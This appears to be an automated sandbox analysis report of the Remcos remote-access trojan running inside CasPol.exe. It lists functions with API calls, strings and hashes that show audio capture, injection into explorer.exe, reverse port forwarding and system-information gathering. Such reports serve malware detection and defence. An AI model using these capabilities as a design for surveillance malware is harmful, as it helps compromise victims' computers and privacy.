                                                                                    • _free.LIBCMT ref: 0043946A
                                                                                    • _free.LIBCMT ref: 00439471
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                                                    • String ID:
                                                                                    • API String ID: 2441525078-0
                                                                                    • Opcode ID: 684e6fef7141b114c3b5ff973dde56bcea396d28ee1fdac90182f4155713f89e
                                                                                    • Instruction ID: 902c93592471d116807dca9985149206a76c62e8192f2f9a6cc20a0486345b12
                                                                                    • Opcode Fuzzy Hash: 684e6fef7141b114c3b5ff973dde56bcea396d28ee1fdac90182f4155713f89e
                                                                                    • Instruction Fuzzy Hash: F531F17140820ABBEF11AFA5DC449AF3B78EF09364F14016AF81066291DB79CC12DBA9
                                                                                    Function 00404E52 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SetEvent.KERNEL32(?,?), ref: 00404E71
                                                                                    • GetMessageA.USER32 ref: 00404F21
                                                                                    • TranslateMessage.USER32(?), ref: 00404F30
                                                                                    • DispatchMessageA.USER32(?), ref: 00404F3B
                                                                                    • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00473F80), ref: 00404FF3
                                                                                    • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 0040502B
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                                                    • String ID: CloseChat$DisplayMessage$GetMessage
                                                                                    • API String ID: 2956720200-749203953
                                                                                    • Opcode ID: d0be8e4ce51e8f0ab202bd2afc566ef12aee90056eadad95246f91f8f8c761e5
                                                                                    • Instruction ID: a70547b48422ce96676d24762269450ce3f1821fc9982c67352fb5fd346d99ba
                                                                                    • Opcode Fuzzy Hash: d0be8e4ce51e8f0ab202bd2afc566ef12aee90056eadad95246f91f8f8c761e5
                                                                                    • Instruction Fuzzy Hash: F741BFB16043016BC714FB75DC5A8AE77A9ABC1714F40093EF906A31E6EF38DA05C79A
                                                                                    Function 00416E27 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 107filesynchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,00465554), ref: 00416F24
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 00416F2D
                                                                                    • DeleteFileA.KERNEL32(00000000), ref: 00416F3C
                                                                                    • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00416EF0
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseDeleteExecuteFileHandleObjectShellSingleWaitsend
                                                                                    • String ID: <$@$@FG$@FG$Temp
                                                                                    • API String ID: 1107811701-2245803885
                                                                                    • Opcode ID: c1b60abd8b62dcba904cfb68a13a900497af3fb008715fd0d20885aad6260c29
                                                                                    • Instruction ID: 21bac8b1790940aaec7d6d8591dec239f7d6dde33bc15b5890dc9a9e7f2861e5
                                                                                    • Opcode Fuzzy Hash: c1b60abd8b62dcba904cfb68a13a900497af3fb008715fd0d20885aad6260c29
                                                                                    • Instruction Fuzzy Hash: E8319C319002099BCB04FBA1DC56AFE7775AF50308F00417EF906760E2EF785A8ACB99
                                                                                    Function 00406616 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 98COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetCurrentProcess.KERNEL32(00474A28,00000000,BG3i@,00003000,00000004,00000000,00000001), ref: 00406647
                                                                                    • GetCurrentProcess.KERNEL32(00474A28,00000000,00008000,?,00000000,00000001,00000000,004068BB,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe), ref: 00406705
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CurrentProcess
                                                                                    • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir$BG3i@
                                                                                    • API String ID: 2050909247-4145329354
                                                                                    • Opcode ID: 5f4c91d6b24130c8fe2f88965ff0ff9b6bb2609424b04334da58237aef4b63a8
                                                                                    • Instruction ID: 423827b33d6c667fb1d0fc3afb55bdad30249121d517be796f0b9763ce16cf58
                                                                                    • Opcode Fuzzy Hash: 5f4c91d6b24130c8fe2f88965ff0ff9b6bb2609424b04334da58237aef4b63a8
                                                                                    • Instruction Fuzzy Hash: B2310871250700AFC300AB65EC45F6A37B8EB84716F11043EF50AE76E1EB79A8508B6D
                                                                                    Function 00419C85 Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419C94
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CAB
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CB8
                                                                                    • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CC7
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CD8
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CDB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                                                    • String ID:
                                                                                    • API String ID: 221034970-0
                                                                                    • Opcode ID: fa1b8ca369088c977c56d8324615d0cdc0d6a29edab9bcf25d2a1dd6b7673671
                                                                                    • Instruction ID: aaf019a9b49167a30595a2ca3c371567d0eeee9026f0995440eeab6e66ec65be
                                                                                    • Opcode Fuzzy Hash: fa1b8ca369088c977c56d8324615d0cdc0d6a29edab9bcf25d2a1dd6b7673671
                                                                                    • Instruction Fuzzy Hash: 00118632901218AFD7116B64EC85DFF3FACDB45BA5B000036F502921D1DB64DD46AAF5
                                                                                    Function 00446DCB Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 00446DDF
                                                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(0000000A,?,0044FA50,0000000A,00000000,0000000A,00000000,?,0044FCF4,0000000A,00000007,0000000A,?,00450205,0000000A,0000000A), ref: 00446AED
                                                                                    • _free.LIBCMT ref: 00446DEB
                                                                                    • _free.LIBCMT ref: 00446DF6
                                                                                    • _free.LIBCMT ref: 00446E01
                                                                                    • _free.LIBCMT ref: 00446E0C
                                                                                    • _free.LIBCMT ref: 00446E17
                                                                                    • _free.LIBCMT ref: 00446E22
                                                                                    • _free.LIBCMT ref: 00446E2D
                                                                                    • _free.LIBCMT ref: 00446E38
                                                                                    • _free.LIBCMT ref: 00446E46
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                                    • String ID:
                                                                                    • API String ID: 776569668-0
                                                                                    • Opcode ID: 97a3f4e44069bc11c8e401312368c96959fa26c4fc1008248271593ee2688753
                                                                                    • Instruction ID: b6db37451886405a3c03f61b360184b61b1678451e8b30ee63348233c964278a
                                                                                    • Opcode Fuzzy Hash: 97a3f4e44069bc11c8e401312368c96959fa26c4fc1008248271593ee2688753
                                                                                    • Instruction Fuzzy Hash: F011E975100408BFEB01EF55C842CDD3B65EF46354B06C0AAF9086F222DA35DE649F85
                                                                                    Function 00410314 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Eventinet_ntoa
                                                                                    • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$>G
                                                                                    • API String ID: 3578746661-4192532303
                                                                                    • Opcode ID: a0e50ccda90a2a26dadb1d16707f1d5cfbd962b288e482a8d4bbee57c7584a3f
                                                                                    • Instruction ID: 9533851bb4e74ac183efc1d320b4a1154e984465ef7073577260c431c5a81f81
                                                                                    • Opcode Fuzzy Hash: a0e50ccda90a2a26dadb1d16707f1d5cfbd962b288e482a8d4bbee57c7584a3f
                                                                                    • Instruction Fuzzy Hash: E8518471A042009BC714F779D85AAAE36A59B80318F40453FF849972E2DF7CAD85CB9F
                                                                                    Function 00455139 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00455DAF), ref: 0045515C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DecodePointer
                                                                                    • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                                                    • API String ID: 3527080286-3064271455
                                                                                    • Opcode ID: 51615691f6b39088fe699d356a3785f8ab9cde05a1526f2a2544731867ca73e1
                                                                                    • Instruction ID: 89d0c260ad138193cc60bb845925db7455dcb75d1c4d79333749f45855522aa5
                                                                                    • Opcode Fuzzy Hash: 51615691f6b39088fe699d356a3785f8ab9cde05a1526f2a2544731867ca73e1
                                                                                    • Instruction Fuzzy Hash: DA516D70900E09CBCF14DF99E9581BDBBB0FB09342F244297EC41A6266CB798A1DCB1D
                                                                                    Function 004165FC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 103sleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 0041665C
                                                                                      • Part of subcall function 0041B61A: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                    • Sleep.KERNEL32(00000064), ref: 00416688
                                                                                    • DeleteFileW.KERNEL32(00000000), ref: 004166BC
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CreateDeleteExecuteShellSleep
                                                                                    • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                                                    • API String ID: 1462127192-2001430897
                                                                                    • Opcode ID: 1feb9446bd49946b70c9c1d76ba489eb1351f7e3e19703becef35d5c604cd5d7
                                                                                    • Instruction ID: 72b86f905f1643b809cd09d25b02ba286255726e8958c1b91c3bd62dba73c542
                                                                                    • Opcode Fuzzy Hash: 1feb9446bd49946b70c9c1d76ba489eb1351f7e3e19703becef35d5c604cd5d7
                                                                                    • Instruction Fuzzy Hash: FD313E719001085ADB14FBA1DC96EEE7764AF50708F00013FF906731E2EF786A8ACA9D
                                                                                    Function 00401A8E Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _strftime.LIBCMT ref: 00401AD3
                                                                                      • Part of subcall function 00401BE8: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401C54
                                                                                    • waveInUnprepareHeader.WINMM(00471AC0,00000020,00000000), ref: 00401B85
                                                                                    • waveInPrepareHeader.WINMM(00471AC0,00000020), ref: 00401BC3
                                                                                    • waveInAddBuffer.WINMM(00471AC0,00000020), ref: 00401BD2
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                                                    • String ID: %Y-%m-%d %H.%M$.wav$`=G$x=G
                                                                                    • API String ID: 3809562944-3643129801
                                                                                    • Opcode ID: a0d4b68123ccb8690edebec149ad94aabf9f76f5131ed63dacbc39586bcb4aec
                                                                                    • Instruction ID: ec6e8c75c27496dd15f6dcc160753dc5291fcfbcfc36b55cd818fae73feeac55
                                                                                    • Opcode Fuzzy Hash: a0d4b68123ccb8690edebec149ad94aabf9f76f5131ed63dacbc39586bcb4aec
                                                                                    • Instruction Fuzzy Hash: 6C317E315053009BC314EF25DC56A9E77E8BB94314F00883EF559A21F1EF78AA49CB9A
                                                                                    Function 0040196B Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 72COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040197B
                                                                                    • waveInOpen.WINMM(00471AF8,000000FF,00471B00,Function_00001A8E,00000000,00000000), ref: 00401A11
                                                                                    • waveInPrepareHeader.WINMM(00471AC0,00000020,00000000), ref: 00401A66
                                                                                    • waveInAddBuffer.WINMM(00471AC0,00000020), ref: 00401A75
                                                                                    • waveInStart.WINMM ref: 00401A81
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                                                    • String ID: XCG$`=G$x=G
                                                                                    • API String ID: 1356121797-903574159
                                                                                    • Opcode ID: 29bf6962141d4a7300ec3585762ff1cfafa7e1f20695c08f0aa6420dc949f944
                                                                                    • Instruction ID: 1c4952ee711c82e1d68262a7885cb64ec938acb60d992cd4a46dee1db52e037b
                                                                                    • Opcode Fuzzy Hash: 29bf6962141d4a7300ec3585762ff1cfafa7e1f20695c08f0aa6420dc949f944
                                                                                    • Instruction Fuzzy Hash: 87215C316012009BC704DF7EFD1696A7BA9FB85742B00843AF50DE76B0EBB89880CB4C
                                                                                    Function 0041C96F Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47windowstringCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041C988
                                                                                      • Part of subcall function 0041CA1F: RegisterClassExA.USER32 ref: 0041CA6C
                                                                                      • Part of subcall function 0041CA1F: CreateWindowExA.USER32 ref: 0041CA87
                                                                                      • Part of subcall function 0041CA1F: GetLastError.KERNEL32 ref: 0041CA91
                                                                                    • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041C9BF
                                                                                    • lstrcpynA.KERNEL32(00473B68,Remcos,00000080), ref: 0041C9D9
                                                                                    • Shell_NotifyIconA.SHELL32(00000000,00473B50), ref: 0041C9EF
                                                                                    • TranslateMessage.USER32(?), ref: 0041C9FB
                                                                                    • DispatchMessageA.USER32(?), ref: 0041CA05
                                                                                    • GetMessageA.USER32 ref: 0041CA12
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                                                    • String ID: Remcos
                                                                                    • API String ID: 1970332568-165870891
                                                                                    • Opcode ID: 3916a83a2764b610bd39468394578f6b6e569060e520b3e5816c6a16bad35c1f
                                                                                    • Instruction ID: 0af2178feff80faf092f0d4c6bffee9b758878d1eb04e36c9ad6546aee081b39
                                                                                    • Opcode Fuzzy Hash: 3916a83a2764b610bd39468394578f6b6e569060e520b3e5816c6a16bad35c1f
                                                                                    • Instruction Fuzzy Hash: 760121B1944344ABD7109FA5FC4CEDA7BBCAB45B16F004035F605E2162D7B8A285DB2D
                                                                                    Function 0044B450 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: b03e61c4093a21660133e67fc3f0c2c165a648bd703d9864a2b1dbb5c11dd296
                                                                                    • Instruction ID: 1e235cce983953b2f50cc3566bc78ab2d8216d31b9fa4c429b6f00869d8f9d70
                                                                                    • Opcode Fuzzy Hash: b03e61c4093a21660133e67fc3f0c2c165a648bd703d9864a2b1dbb5c11dd296
                                                                                    • Instruction Fuzzy Hash: 27C1D774D04249AFEF11DFA9C8417AEBBB4FF4A304F14405AE814A7392C778D941CBA9
                                                                                    Function 00452B2A Relevance: 13.8, APIs: 9, Instructions: 268COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,00452E03,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00452BD6
                                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452C59
                                                                                    • __alloca_probe_16.LIBCMT ref: 00452C91
                                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,00452E03,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452CEC
                                                                                    • __alloca_probe_16.LIBCMT ref: 00452D3B
                                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452D03
                                                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434403,?,?,00437227,?,?,?,?,?,0040CC87,00434403,?,?,?,?), ref: 00446B31
                                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452D7F
                                                                                    • __freea.LIBCMT ref: 00452DAA
                                                                                    • __freea.LIBCMT ref: 00452DB6
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                                                    • String ID:
                                                                                    • API String ID: 201697637-0
                                                                                    • Opcode ID: 33853d2748869a5bbf0e5c11ad0ba2693683b8c54e761c696d343b85774101d6
                                                                                    • Instruction ID: c0da75549b7b47b94c7346473649b17197e9394d7568cc7349c1d05b16f9ad8a
                                                                                    • Opcode Fuzzy Hash: 33853d2748869a5bbf0e5c11ad0ba2693683b8c54e761c696d343b85774101d6
                                                                                    • Instruction Fuzzy Hash: F391D872E002169BDF218E64CA51EEF7BB5AF0A315F14055BEC04E7243D7A9DC48CB68
                                                                                    Function 004443F9 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                    • _memcmp.LIBVCRUNTIME ref: 004446A3
                                                                                    • _free.LIBCMT ref: 00444714
                                                                                    • _free.LIBCMT ref: 0044472D
                                                                                    • _free.LIBCMT ref: 0044475F
                                                                                    • _free.LIBCMT ref: 00444768
                                                                                    • _free.LIBCMT ref: 00444774
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorLast$_abort_memcmp
                                                                                    • String ID: C
                                                                                    • API String ID: 1679612858-1037565863
                                                                                    • Opcode ID: 4ee3c7c2bc2adc8e7b8f5f7d65043758b13cb49f9f14cb5bf46d27c87fe2b158
                                                                                    • Instruction ID: 3c523a64da6f7cdf058c983f33271b3c05ff2f19a58e511a78fa6d1555c07658
                                                                                    • Opcode Fuzzy Hash: 4ee3c7c2bc2adc8e7b8f5f7d65043758b13cb49f9f14cb5bf46d27c87fe2b158
                                                                                    • Instruction Fuzzy Hash: 19B13975A012199FEB24DF18C885BAEB7B4FB49304F1485AEE909A7350D739AE90CF44
                                                                                    Function 004139C7 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 228COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: tcp$udp
                                                                                    • API String ID: 0-3725065008
                                                                                    • Opcode ID: feee9516c16efef68815b89ade9cbffe5bf55ce5106af849680fee818ce7e4b0
                                                                                    • Instruction ID: e59cad8d3053530f07be13ad944632c35d9115139dfdf9e987abb4c2b311e0ee
                                                                                    • Opcode Fuzzy Hash: feee9516c16efef68815b89ade9cbffe5bf55ce5106af849680fee818ce7e4b0
                                                                                    • Instruction Fuzzy Hash: 9171AB316083128FDB24CE5584847ABB6E4AF84746F10043FF885A7352E778DE85CB9A
                                                                                    Function 00401768 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ExitThread.KERNEL32 ref: 004017F4
                                                                                      • Part of subcall function 00433519: EnterCriticalSection.KERNEL32(3_,?,00475D2C,?,0040AE8B,00475D2C,?,00000000,00000000), ref: 00433524
                                                                                      • Part of subcall function 00433519: LeaveCriticalSection.KERNEL32(3_,?,0040AE8B,00475D2C,?,00000000,00000000), ref: 00433561
                                                                                    • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401902
                                                                                      • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                                                    • __Init_thread_footer.LIBCMT ref: 004017BC
                                                                                      • Part of subcall function 004334CF: EnterCriticalSection.KERNEL32(3_,00475D2C,?,0040AEAC,00475D2C,00456D97,?,00000000,00000000), ref: 004334D9
                                                                                      • Part of subcall function 004334CF: LeaveCriticalSection.KERNEL32(3_,?,0040AEAC,00475D2C,00456D97,?,00000000,00000000), ref: 0043350C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CriticalSection$EnterLeave$ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                                                                    • String ID: T=G$p[G$>G$>G
                                                                                    • API String ID: 1596592924-2461731529
                                                                                    • Opcode ID: 17534cbbce1471fe965db1e4a040205c2d4f2d5752a0d8f67121475e772d8bd4
                                                                                    • Instruction ID: b2aa677fe1363808454ef9d3704f93b9908b7cd688e3fd59dcdd6ad405d7ff49
                                                                                    • Opcode Fuzzy Hash: 17534cbbce1471fe965db1e4a040205c2d4f2d5752a0d8f67121475e772d8bd4
                                                                                    • Instruction Fuzzy Hash: 0D41A0316042019BC324FB65DCA6EAE73A4EB94318F00453FF54AA71F2DF78A945C65E
                                                                                    Function 00406BE9 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 00406C38
                                                                                    • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00406C80
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 00406CC0
                                                                                    • MoveFileW.KERNEL32 ref: 00406CDD
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 00406D08
                                                                                    • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,0000000A,00000000,00000000), ref: 00406D18
                                                                                      • Part of subcall function 0040455B: WaitForSingleObject.KERNEL32(?,000000FF,?,?,0040460E,00000000,?,?), ref: 0040456A
                                                                                      • Part of subcall function 0040455B: SetEvent.KERNEL32(?,?,?,0040460E,00000000,?,?), ref: 00404588
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                                                    • String ID: .part
                                                                                    • API String ID: 1303771098-3499674018
                                                                                    • Opcode ID: 54257d622aa63ad30bb645e20e598f32bbf93e15d75ec557b2562d4f49382a3f
                                                                                    • Instruction ID: a9f2b94bfe891e644ef5b97f564769cd4b441703f4f7d546a0b6aea2ef9939f1
                                                                                    • Opcode Fuzzy Hash: 54257d622aa63ad30bb645e20e598f32bbf93e15d75ec557b2562d4f49382a3f
                                                                                    • Instruction Fuzzy Hash: 1C31C2715083019FD210EF21DD459AFB7A8FB85715F40093FF9C6A21A1DB38AA48CB9A
                                                                                    Function 0041A81D Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 90COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00412584: RegOpenKeyExW.ADVAPI32 ref: 004125A6
